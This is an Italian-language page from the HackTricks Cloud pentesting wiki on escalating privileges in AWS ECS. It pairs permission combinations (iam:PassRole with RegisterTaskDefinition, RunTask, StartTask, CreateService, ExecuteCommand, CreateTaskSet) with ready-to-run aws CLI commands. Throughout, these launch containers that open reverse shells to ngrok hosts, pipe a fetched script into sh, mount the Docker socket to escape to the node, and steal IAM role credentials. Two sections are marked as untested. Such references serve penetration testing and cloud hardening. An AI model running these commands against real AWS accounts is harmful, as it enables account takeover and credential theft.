Italian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

AWS - ECS Privesc

Supporta HackTricks

ECS

Maggiori informazioni su ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un attaccante che abusa delle autorizzazioni iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask in ECS può generare una nuova definizione di task con un container dannoso che ruba le credenziali dei metadati e eseguirlo.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impatto Potenziale: Privilege escalation diretto a un ruolo ECS diverso.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo. Tuttavia, in questo caso, è necessario un'istanza di container per eseguire la definizione di task malevola.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potenziale Impatto: Privilegio escalation diretto a qualsiasi ruolo ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo creando un nuovo servizio con almeno 1 task in esecuzione.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impatto Potenziale: Privilegio escalation diretto a qualsiasi ruolo ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

In realtà, solo con questi permessi è possibile utilizzare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa come:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impatto Potenziale: Privilege escalation diretto a qualsiasi ruolo ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Questo scenario è simile ai precedenti ma senza il permesso iam:PassRole. Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche senza un ruolo, potresti eseguire un container privilegiato per evadere al nodo e rubare il ruolo IAM di EC2 e i ruoli degli altri container ECS in esecuzione nel nodo. Potresti persino forzare altri task a eseguire all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come discusso nella sezione Privesc to node).

Questo attacco è possibile solo se il cluster ECS utilizza istanze EC2 e non Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un attaccante con i permessi ecs:ExecuteCommand, ecs:DescribeTasks può eseguire comandi all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (sono necessari i permessi di describe perché è necessario eseguire aws ecs execute-command). Tuttavia, per fare ciò, l'istanza del container deve eseguire l'agente ExecuteCommand (che per impostazione predefinita non è attivo).

Pertanto, l'attaccante potrebbe provare a:

  • Provare a eseguire un comando in ogni container in esecuzione

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

  • Se ha ecs:RunTask, esegui un task con aws ecs run-task --enable-execute-command [...]

  • Se ha ecs:StartTask, esegui un task con aws ecs start-task --enable-execute-command [...]

  • Se ha ecs:CreateService, crea un servizio con aws ecs create-service --enable-execute-command [...]

  • Se ha ecs:UpdateService, aggiorna un servizio con aws ecs update-service --enable-execute-command [...]

Puoi trovare esempi di queste opzioni nelle sezioni precedenti di ECS privesc.

Impatto Potenziale: Privesc a un ruolo diverso associato ai container.

ssm:StartSession

Controlla nella pagina ssm privesc come puoi abusare di questo permesso per privesc a ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Controlla nella pagina ec2 privesc come puoi abusare di questi permessi per privesc a ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: È possibile registrare un'istanza da un diverso account AWS in modo che i task vengano eseguiti su macchine controllate dall'attaccante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Testare questo

Un attaccante con i permessi ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, e ecs:DescribeTaskSets può creare un task set dannoso per un servizio ECS esistente e aggiornare il task set primario. Questo permette all'attaccante di eseguire codice arbitrario all'interno del servizio.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impatto Potenziale: Eseguire codice arbitrario nel servizio interessato, potenzialmente influenzando la sua funzionalità o esfiltrando dati sensibili.

Riferimenti

Supporta HackTricks
PreviousAWS - ECR PrivescNextAWS - EFS Privesc

Last updated